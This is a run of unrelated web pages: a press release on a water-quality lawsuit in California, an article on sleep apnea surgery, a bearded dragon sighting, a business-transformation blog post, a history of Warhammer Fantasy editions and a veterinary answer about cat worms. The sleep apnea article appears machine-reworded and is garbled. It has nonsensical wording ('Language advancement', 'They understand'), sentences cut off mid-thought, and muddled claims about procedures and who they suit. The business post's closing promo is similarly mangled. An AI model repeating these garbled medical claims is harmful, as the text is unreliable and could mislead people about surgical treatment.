The coalition of conservation, environmental justice and industry groups believe “[T]he State Board has engaged and continues to engage in a pattern and practice of systematically failing to comply with its legal obligations under state law…”
In 2013, the Central Coast Regional Water Quality Control Board adopted its first “Conditional Waiver of Waste Discharge Requirements for Irrigated Agriculture” (Ag Order), but acknowledged it was ineffective since it didn’t include conditions consistent with typical orders to control waste discharges from industries or activities affecting water quality in a similar level of severity. A coalition of groups, including CSPA, challenged the 2013 Ag Order in court and won. The judge ordered the State and Regional Boards to create a new Ag Order, consistent with the law. The State and numerous agricultural groups appealed the ruling which is currently awaiting a court date.
Knowing that the 2013 Ag Order was legally deficient in many ways, the Central Coast Regional Board renewed a nearly identical Ag Order in March 2017. A coalition of organizations petitioned the regional decision to the State Board which declined to review the petition. As a result, the coalition proceeded with the current pattern and practice lawsuit. The State Board’s failure to review and correct the deficiencies in the 2017 Ag Order is illustrative of an ongoing pattern and practice whereby the State Board, through action or inaction, has declined and continues to decline to exercise its statutory oversight responsibility to ensure that agricultural discharges throughout the State comply with applicable laws.
The organizations taking action with CSPA include The Otter Project and Monterey Coastkeeper, Environmental Justice Coalition for Water, Santa Barbara Channel Keeper, Pacific Coast Federation of Fishing Associations, Orange County Coastkeeper, Inland Empire Waterkeeper, Institute for Fisheries Research and California Coastkeeper Alliance.
The Press Release is available here and the compliant can be viewed here. | <urn:uuid:770f8eb6-a658-40d1-ba74-39bc9caea8e2> | CC-MAIN-2022-33 | https://calsport.org/news/cspa-joins-in-pattern-practice-lawsuit-state-regional-water-boards-fail-to-protect-water-from-agricultural-pollution/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.944184 | 553 | 2.015625 | 2 |
Surgery can help improve some cases of obstructive sleep apnea by removing or reducing the obstruction.
Sleep apnea is a common condition. Several potential treatment options can help, including surgical procedures. Surgery can reduce the obstruction that prevents the person from breathing while sleeping.
This article reviews what sleep apnea is and several of the surgical procedures that can help improve the condition.
Sleep apnea occurs when a person’s breathing stops and starts several times during sleep. It is a common condition that can prevent the body from getting enough oxygen.
The two types of sleep apnea
- Central sleep apnea (CSA): It happens when the brain fails to send signals to the lungs to breathe. It often results from underlying health conditions that affect the brain.
- Obstructive sleep apnea (OSA): This is the most common type where the airways become blocked periodically due to factors such as hormones, enlarged tonsils, or obesity.
Learn more about the types of sleep apnea here.
Doctors use the results to rule out other sleep disorders before diagnosing sleep apnea.
Learn more about polysomnography here.
Surgery is usually not an option for people with central sleep apnea, and doctors only recommend it for people with mild to moderate OSA.
Doctors can sometimes treat obstructive sleep apnea with surgery. A surgeon must know the exact cause of the condition in order to perform any of the following types of surgery:
Nasal surgery can help reduce airway obstructions in the nose. Sleep apnea can occur if there is a blockage in any of the following parts of the nose:
- nasal valve
The most common nasal surgeries to treat sleep apnea are septoplasty and turbinate reduction. These outpatient procedures are generally safe. They can improve sleep apnea symptoms by widening the septum or turbinates to allow air to flow freely through them.
For mild cases of sleep apnea, a doctor may recommend soft palate surgery, also known as a pillar procedure. This outpatient procedure involves placing three plastic rods into the soft palate tissue.
The rods stimulate an inflammatory response in the tissue, which helps stiffen it. When this happens, the firm palate tissue is less likely to rub against the pharynx, which can help improve sleep apnea and snoring.
Uvulopalatopharyngoplasty (UPPP) is the most common surgical procedure performed for sleep apnea. During the procedure, a surgeon removes excess tissue from the pharynx and soft palate as well as the tonsils if present. They then close the incisions.
The treated area is known as the oropharynx and is responsible for the majority of cases of sleep apnea.
The procedure requires an overnight hospital stay and can involve a painful recovery.
Removal of adenoids or tonsils
For children with sleep apnea, doctors
According to a
If a maxillofacial skeletal malformation has occurred, a doctor may recommend skeletal surgery to correct the problem. The procedure involves widening the jawbone by about 10 to 12 millimeters (mm) and then stabilizing it with titanium plates.
The procedure is relatively complicated compared to other surgeries due to the need to precisely cut the bone and properly align the teeth. As part of their recovery, the person will have to close their teeth and spend several nights in the hospital.
However, the procedure has a success rate of almost 90%, although few surgeons or institutions perform this surgery due to the complication of the procedure and the recovery.
There are two different procedures involving the tongue. They understand:
- Language advancement: In this procedure, a surgeon moves the main muscle of the tongue (genioglossus muscle) forward. They make an incision in the jawbone, push it forward, then use a titanium plate to hold it in place. Although generally effective, it requires an overnight stay and is more invasive than other procedures.
- Reduction of the base of the tongue: Tongue base reduction is a procedure that decreases the amount of tissue in the base of the tongue. A surgeon can do this either with an incision or using radiofrequency waves. Incision surgery (midline glossectomy) is more invasive and requires overnight hospitalization. The radiofrequency method is non-invasive but requires several sessions. Both can improve, but not necessarily cure, mild sleep apnea in about 60% of people.
In obese people, a tracheostomy can provide effective relief from sleep apnea. The procedure involves creating an opening in the trachea through the neck to allow oxygen to directly access the lungs. Doctors sometimes recommend it to people who have tried other treatments without success.
All surgical procedures have some risks associated with them. A person should speak with a doctor about the risks associated with the treatment option they are recommending.
Any procedure that requires general anesthesia puts a person at increased risk. This is due to its effects on breathing, which can make regaining consciousness more difficult. It can also make it harder for a person to breathe after the procedure.
Doctors will watch a person closely during surgery to prevent risks from general anesthesia.
Other general risks of surgery include:
Learn more about general anesthesia here.
Below are answers to some frequently asked questions about sleep apnea surgery.
Does surgery cure sleep apnea?
For some, surgery can cure or stop sleep apnea. Although many surgeries have high success rates, no single procedure can guarantee a cure for sleep apnea.
Are there other treatments for sleep apnea?
The first-line treatment for sleep apnea is continuous positive airway pressure (CPAP). CPAP involves a person wearing a mask over their mouth and nose which is connected to a machine. The machine delivers a constant flow of air to a person’s airways to help keep them open.
Doctors rarely recommend surgery to treat sleep apnea. A person can improve their sleep apnea if:
- make lifestyle changes, such as maintaining a healthy weight, limiting alcohol intake, quitting smoking, staying active, and eating a healthy diet
- using oral devices to open the mouth more widely
- do exercises for the mouth and jaw
A person should speak with a doctor about their expectations after the procedure. Most procedures have a high level of success, but not everyone will see improvement after surgery.
If surgery doesn’t work, a person’s doctor will likely recommend additional treatments.
Several surgeries can help improve sleep apnea. Some are minimally invasive outpatient procedures, while others require a hospital stay.
The surgery recommended by a doctor will vary depending on the underlying cause of the sleep apnea. A person should discuss their options with a doctor and ask about the chances of success.
The most common surgeries for sleep apnea are generally safe. Surgery that requires general anesthesia is associated with higher risks. | <urn:uuid:29de3b92-bc45-41bf-b884-29f0fd63194a> | CC-MAIN-2022-33 | https://shikariblanks.com/sleep-apnea-surgery-types-risks-and-outlook/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.94002 | 1,469 | 3.375 | 3 |
Pogona barbata — Eastern Bearded Dragon
Also known as:
Common Bearded Dragon
This morning my wife and I took a boat trip on Moreton Bay from Redcliffe, hoping to see dugongs. We saw no dugongs, but we saw some dolphins and loggerhead turtles. Before the boat trip we meandered around Redcliffe where we spotted this young (on the rocks) and mature (on the back of the tree) Eastern Bearded Dragons. I didn't have my camera with me but Monica had her little digital Elph. The adult dragon was behind a fence as well as being behind a tree, so I couldn't get a decent picture.
Here is a complete list of the reptiles and frogs I saw on this trip to Australia.
- Cogger, H. G. 2014. Reptiles & Amphibians of Australia, Seventh Edition
- Hoser, R. T. 1989. Australian Reptiles & Frogs
- Swan, G. 1995. A Photographic Guide to Snakes & Other Reptiles of Australia
- Wilson, S. K., Knowles, D. 1988. Australia's Reptiles: A Photographic Reference to the Terrestrial Reptiles of Australia | <urn:uuid:8f0ba44b-14dc-47a9-9a76-49dad39c0efa> | CC-MAIN-2022-33 | http://www.wildherps.com/species/P.barbata.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.940726 | 255 | 2.453125 | 2 |
What do organizations do when business transformation, organizational structure, and employees collide?
Organizational transformation is difficult, costly, and they can be taxing for everyone involved.
Managing transformation effectively is essential for achieving positive outcomes in any project.
Below, we’ll explore business transformation in detail, including:
- How organizational transformation affects the workforce
- The challenges associated with organizational transformation and change
- The benefits of change management
To start off, though, we should clarify what we mean by “business transformation” and “organizational transformation.”
Why and How Businesses Transform
Organizational transformations are a series of interrelated change initiatives aimed at reinventing an organization.
There are a number of potential drivers that can propel such transformations.
- Organizations may choose to transform their business in order to pursue hyper-growth opportunities
- Digital disruption may require a company to adopt new technology, modernize its IT infrastructure, and transform the way it operates
- New competitors may threaten existing business models, pressuring companies to evolve
Large-scale organizational transformations such as these can affect many areas of a business, such as:
- The organization’s strategy, mission, and aim
- Its target marketplace or its market position
- The corporate culture
- Organizational structure
As one would imagine, changes such as these can have a profound impact on the workforce, particularly with organizational restructuring.
What Happens When Business Transformation, Organizational Structure, and Workers Collide
Organizational restructuring can affect the workforce in several ways:
- Job roles can be eliminated, reassigned, or transformed
- Workers may need to re-skill, upskill, and undergo further training
- Some workers may lose their positions, while new hires may alter the workplace dynamics
Naturally, such changes can have a significant impact on the workforce.
Though each transformation is unique – and each will have its own unique affect on the business – there are certain challenges common to many organizational changes.
When faced with the uncertainty of a massive organizational transformation, negative reactions are common.
- Uncertainty about the future can be stressful. Restructuring can be particularly distressing, because workers’ futures may hang in the balance. Clear communication about a change project, as we will see below, is one way to clarify the project aims and reduce uncertainty.
- Frustration and stress can lower productivity and engagement. Uncertainty, fear, stress, frustration, and other negative emotions can dramatically decrease workers’ contributions and support. This, in turn, harms the outcomes of a transformation program and decreases the chances of success.
- Negative reactions can give way to resistance. Employees’ resistance to change is a common roadblock to success. Structured change management specifically tackles obstacles such as employee resistance, through effective communication, robust employee training programs, and other employee-centered techniques.
For reasons such as these, many businesses implement a structured approach to managing organizational transformations.
How Change Management Mitigates Risk and Maximizes Positive Outcomes
Change management and organization development (OD) are business fields dedicated to streamlining organizational change.
These disciplines often focus heavily on the individual employee – enabling change, improving engagement, minimizing resistance, and so forth.
For instance, the change management agency Prosci uses a 5-step process that revolves around individual workers.
Its steps include:
- Awareness of the need for change
- Desire to support the change
- Knowledge of how to change
- Ability to demonstrate skills and behaviors
- Reinforcement to make the change stick
This model, called the ADKAR model, follows the same approach to change as many others.
McKinsey, for instance, advises following a set of four key actions:
- Role modeling the change
- Fostering understanding and conviction
- Reinforcing changes through formal mechanisms
- Developing talents and skills
Many of the key elements remain the same: enabling employees, reinforcing changes, and fostering understanding.
Structured approaches to change management such as these offer a number of benefits to any organizational change project, such as:
- Improved chances of success. Perhaps the biggest danger in any organizational transformation program is the potential for failure. If a large-scale organizational transformation fails, then the costs could very easily exceed financial costs. When the business’s survival depends on success, then failed transformations could also mean failure for the business itself.
- Decreased impacts on business processes and services. Negative impacts to services can also cause costs to increase. Customers who have bad experiences due to these impacts, for instance, may join competitors instead.
- Greater project efficiency. Organizational transformations are costly, and effective change management helps keep those costs down – while also shortening timelines.
- Less friction, frustration, and resistance from employees. Communication is one area of focus for change managers. This means clearly communicating the need for change, the transformation program’s agenda, expectations, and responsibilities.
- More cooperation and support at every level. The more support a transformation program receives, the better the outcomes will be. Change management helps to keep the organization aligned and in sync.
Generally speaking, the more sophisticated and well-structured the change management program, the more of these benefits an organization will reap.
Change management is not a magic pill, especially when it comes to business transformation and organizational restructuring. After all, these processes are trying, costly, and challenging.
However, with the right approach, formal change management can increase the chances of success and help an organization realize greater value from its transformation program.
WalkMe spearheaded the Digital Adoption Platform (DAP) for associations to use the maximum capacity of their advanced resources. Utilizing man-made consciousness, AI, and context-oriented direction, WalkMe adds a powerful UI layer to raise the computerized proficiency, everything being equal. | <urn:uuid:2504c0eb-472e-4e70-a3b6-9ac2c19ce556> | CC-MAIN-2022-33 | https://change.walkme.com/business-transformation-organizational-structure/?t=21&camp=adoption-blog | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.91315 | 1,209 | 1.742188 | 2 |
Warhammer: Fantasy Battles
Warhammer, subtitled "the game of fantasy battles", started as a system to play battles with role playing game fantasy miniatures and subsequently evolved into perhaps the most widely known and most successful tabletop battle game in the world. Warhammer was first published in 1982 as a boxed set subtitled The Mass Combat Fantasy Role-Playing Game.
Warhammer: The Game of Fantasy Battles (formerly Warhammer Fantasy Battle and often abbreviated to Warhammer, WFB, and WHFB) is a tabletop wargame created by Games Workshop, and is the origin of the Warhammer Fantasy setting. The game is designed for regiments of miniatures of various fantasy races such as humans (The Empire, Bretonnia, Kislev), Elves (Dark Elves, High Elves, Wood Elves), Dwarfs, Undead, and Orcs and Goblins, as well as some more unusual types such as Lizardmen, Skaven and the daemonic forces of Chaos, with each race having its own unique strengths and weaknesses.
Warhammer has been periodically updated and re-released since first appearing in 1982, with changes to the gaming system and army lists. The eighth edition, released on 10 July 2010, was the final version. A series of releases during 2014 and 2015 focussed on the cataclysmic destruction of the game's fictitious world called the "End Times." In 2015, Games Workshop replaced it with Age of Sigmar.
Warhammer Fantasy Editions
First edition (1983) The first edition, written by Bryan Ansell, Richard Halliwell and Rick Priestley was published in 1983 and consists of a boxed set of 3 black and white books illustrated by Tony Ackland: Vol 1: Tabletop Battles, which contains the core rules, turn sequence, creature lists, potion recipes and features an introductory battle 'The Ziggurat of Doom'. Vol 2: Magic which explains rules for wizards of 4 different levels and the higher order arch magi. Higher level wizards have access to more powerful spells. In this system, a wizard picks his spells at the start of the game, must have the correct equipment (usually Amulets), and as he casts each one it depletes a store of 'constitution' points, until at zero points he could cast no more. Vol 3: Characters introduces 'personal characteristics' statistics, rules for roleplaying (including character advancement through experience points and statistic gains, random encounters, equipment costs, and alignment) and has a sample campaign "The Redwake River Valley".
Very little world background is given at all and the race descriptions are kept to a minimum, and most of the background given is in describing the origins of magic items. Some notable differences to later editions are the inclusion of Night Elves (later Dark Elves), the appearance of Red Goblins - and that Citadel Miniatures order codes are given.
Expansion The first edition was extended with Forces of Fantasy boxed set in 1984.
Second edition (1984) In 1984 the second edition was released, incorporating some of the Forces of Fantasy material, White Dwarf articles and Citadel Compendium material. This was again a boxed-set of three black and white books (with colour covers). Combat explains the core rules and turn sequence; while Battle Magic largely retains the same system as the 1st Edition, as well as adding specialities of Illusionists, Demonologists, Elementalists, and removing the requirements for Amulets. The centre pages are an introductory scenario "The Magnificent Sven" for which cardstock figures were also supplied in the box. The Battle Bestiary book features descriptions of the races, monsters and includes several example army lists and a points system for players to develop their own open-ended armies.
Also in the Battle Bestiary is the first appearance of the Warhammer 'Known World' along with a map, and a timeline which includes the Slann, Incursions of Chaos, inter-elf wars and The Empire. Minor rules modifications included rationalising all statistics to use numbers, and increasing all creatures' Strength by 1.
Campaign packs produced were Terror of the Lichemaster, Bloodbath at Orcs' Drift (1985, referring to Rorke's Drift) and Tragedy of McDeath (1986, referring to Macbeth). The pack Blood on the Streets was card buildings for terrain.
In 1987 the 2nd edition rules were expanded with the Ravening Hordes army lists which provided a more 'realistic' method of forming armies along stricter racial lines.
Third edition (1987) The Third Edition of the game was published as a single hardback book in 1987. It had the most in-depth and complex movement and manoeuvre system of any edition. Other changes included a variety of new specialist troop types, rules for war machines and a more finely tuned system of representing heroes and wizards. It kept the same magic system and open-ended army design system as the first two editions. However, by this stage the use of army lists was very much encouraged. Army lists for this edition were published in a separate book called Warhammer Armies in 1988; until then, use of the 2nd Edition's Ravening Hordes list was encouraged. This is partly because it was the last edition published before Games Workshop took a different commercial approach, leading to competition from former GW employees in the briefly published competing Fantasy Warlord.
The third edition was expanded with the Realm of Chaos: tome one, Slaves To Darkness, followed by tome two, The Lost And The Damned; and Warhammer Siege books.
4th edition (1992) The fourth and fifth editions of the game, released in October 1992 and October 1996, respectively, were similar to each other but quite different from the third. Fifth edition in particular became known pejoratively as "Herohammer" because of the imbalance between the very powerful heroes, monsters and wizards in the game and blocks of troops which existed effectively as cannon fodder. Both editions of the game were sold as box sets containing not only the rulebooks and a variety of other play aids but also sufficient plastic miniatures to be able to play the game "out of the box". The rules underwent a re-write compared to 3rd Edition. A completely re-worked magic system was produced which was available as a boxed expansion set. Rather than selecting spells they were drawn at random and the magic phase was based on the play of these cards, making magic a bit like a game within a game. The magic system was further expanded by the Arcane Magic box set and the magic element of the Chaos box set.
The fourth edition was also the first edition to enforce the use of army lists in the form of separate Warhammer Army books for the separate racial groupings. These books prescribed for each army a limited number of unit choices; specifying limits on the amount of points that could be spent on "characters", troops and monsters and so on. The books also included background on the particular army, illustrations and photographs showing models and have remained with the game though updated with the rules. The fifth edition won the Origins Award for Best Fantasy or Science Fiction Miniatures Rules of 1996.
The magic system was reworked and re-released in December 1996 as a single box covering the magic for all the armies. The magic was "toned down" (WD204) with spell casting limited to the players' own turn. The multiple card packs of the Colours of Magic system was replaced by 20 Battle Magic spell cards but the Colour Magic spells were in the rule book for players to use if they wanted.
Several boxed campaign packs were produced, Tears of Isha for example, gave a campaign for High Elves and included a card "building" to assemble. Likewise, the Orc and Goblin themed campaign Idol of Gork included card idols of the Orc deities Gork and Mork. The others were Circle of Blood (Vampire Counts vs Bretonnians), Grudge of Drong (Dwarves vs High Elves) and Perilous Quest (Bretonnians vs Wood Elves).
The fourth edition featured High Elves versus Goblins.
5th edition (1996) The fifth edition, released in 1996, re-introduced the Bretonnian forces, which had been left out of the 4th edition, and re-worked the Slann heavily to create the Lizardmen armies.
6th edition (2000) The sixth edition, released in 2000, was also published as a box with soft-cover rulebook and miniatures (Orcs and Empire). The Rulebook was also available for separate sale, hard-cover in the first printing and soft-cover after that. After the fifth edition, this edition put the emphasis back on troop movement and combat: heroes and wizards were still important but became incapable of winning games in their own right. There was also an all-new magic system based on dice rolling.
7th edition (2006) The seventh edition rules were released on 9 September 2006. It was available in two forms: as a single hardback rulebook for established gamers and as a complete boxed set game complete with plastic miniatures (Dwarfs and Goblins), The Battle for Skull Pass supplement book and a soft-cover rulebook that has less artwork and background material than the hardback version. The smaller rulebook from the boxed set was approximately half the size of the large book both in size of the cover and page count. The "Basic Rules" and "Advanced Rules" sections of both books were identical in text, layout, illustrations, credits, page numbering and ISBN. The two books had different front pieces and the larger rulebook has two extensive addition sections "The Warhammer World" (68 pages) and "The Warhammer Hobby" (56 pages) plus slightly expanded appendices.
8th edition (2010) According to the official Games Workshop webpage, the 8th edition of Warhammer was made available for pre-order on 14 June 2010 and was released 10 July 2010.
The new starter set named Island of Blood contains facing armies of High Elves and Skaven. A condensed mini-rulebook, as well as 10 standard dice, one scatter and one artillery die, two 18 inch rulers, and three blast templates are included in the box.
The first army to be introduced to 8th edition was Orcs and Goblins. They are one of the most popular Warhammer Fantasy armies, but their release in 8th edition was not totally expected, as at the time there were three (Dwarfs, Wood Elves, and Bretonnia) Warhammer army books which had not been updated since 6th edition. The Dwarf and Wood Elf army books have since been replaced with newer versions.
8th edition's Expansion (2011) The 8th edition was extended with Storm of Magic 'supplement' in 2011 (an expansion that features rules for using more destructive magic and monsters). Another one was released, called Blood in the Badlands shortly afterwards (it included some special scenarios and introduced rules for siege warfare). In 2013 Triumph and Treachery (an expansion that allows multi-player games of between 3 and 5 players) and Sigmar's Blood (a 5 scenario short campaign between Empire and Vampire Counts following the crusade led by Volkmar to destroy Mannfred von Carstein) were released. Another series of five books in 2014-15, entitled The End Times, saw the appearance of every major character of the setting. The last book Archaon described the end of the Warhammer world.
- Lizardmen (characters, images)
- Ogre Kingdoms (characters, images)
- Orcs & Goblins (characters, images)
- Skaven (characters, images)
|Warhammer Fantasy Battles|
|Editions||1st Edition • 2nd Edition • 3rd Edition • 4th Edition • 5th Edition • 6th Edition • 7th Edition • 8th Edition|
|Armies||Beastmen • Bretonnia • Daemons of Chaos • Dark Elves • Dwarfs • High Elves • Lizardmen • Ogre Kingdoms • Orcs & Goblins • Skaven • The Empire • Tomb Kings • Vampire Counts • Warriors of Chaos • Wood Elves|
|Geography||Old World • Eastlands • Southlands • Ulthuan • Naggaroth • Lustria • Realms of Chaos|
|Technology & Arcane||Weapons • War Machines • Equipment • Magic|
|Lore||Religion • Special Characters • Nations|
|Related||Novels • Comics & Graphic novels • Magazines • Computer games • Music| | <urn:uuid:4ca940aa-0587-4a1e-a16f-4c1c54b95394> | CC-MAIN-2022-33 | https://whfb.lexicanum.com/wiki/Warhammer_Fantasy_Battles | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.96461 | 2,571 | 1.617188 | 2 |
Common parasites in cats
Q: We found worms on the stool of our indoor cat. What are they, how did she get them, and what should we do about them?
A: The three most common worms that infect us cats are hookworms, roundworms and tapeworms.
Hookworms latch onto the intestinal wall and are rarely seen in the stool, so you probably saw roundworms or tapeworm segments.
Roundworms resemble spaghetti. Cats become infected when they ingest the microscopic eggs on grass or in rodents or insects. Infection also occurs after a cat walks across or lies on a contaminated surface and then grooms herself. The eggs survive in the soil for years, so it’s easy for you to track them indoors on your shoes and deposit them on your floors.
In cats, roundworms may cause no apparent problems, or they may induce diarrhea or vomiting. Infected kittens often have a pot-bellied abdomen. If what you saw resembled grains of rice, they were probably tapeworm segments, most often seen on the cat’s hind end and on the feces.
Note: Roundworms also can infect humans, so the Companion Animal Parasite Council recommends monthly deworming of cats.
Tapewormsthemselves are flat, like tape, and segmented. Each segment contains eggs and is motile, so eggs are widely dispersed through the environment. They are most often are transmitted when cats inadvertently ingest the immature worms living within infected fleas or rodents.
Fortunately, tapeworms rarely cause problems for their feline hosts, but they can infect humans, so it’s important to get rid of them and the fleas that carry them.
Take your cat and a fresh fecal sample to your veterinarian, who can determine what worm(s) she has and prescribe an effective treatment.
Editor’s Note: Parasites can infect cats that live exclusively indoor, so it’s important to find a way to prevent parasites in pets.
Lee Pickett, V.M.D. practices companion animal medicine. Contact her at email@example.com. | <urn:uuid:82700577-03d9-4f86-89ce-9fe7bc116416> | CC-MAIN-2022-33 | https://figopetinsurance.com/blog/common-parasites-cats | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572408.31/warc/CC-MAIN-20220816151008-20220816181008-00665.warc.gz | en | 0.924805 | 444 | 3.296875 | 3 |
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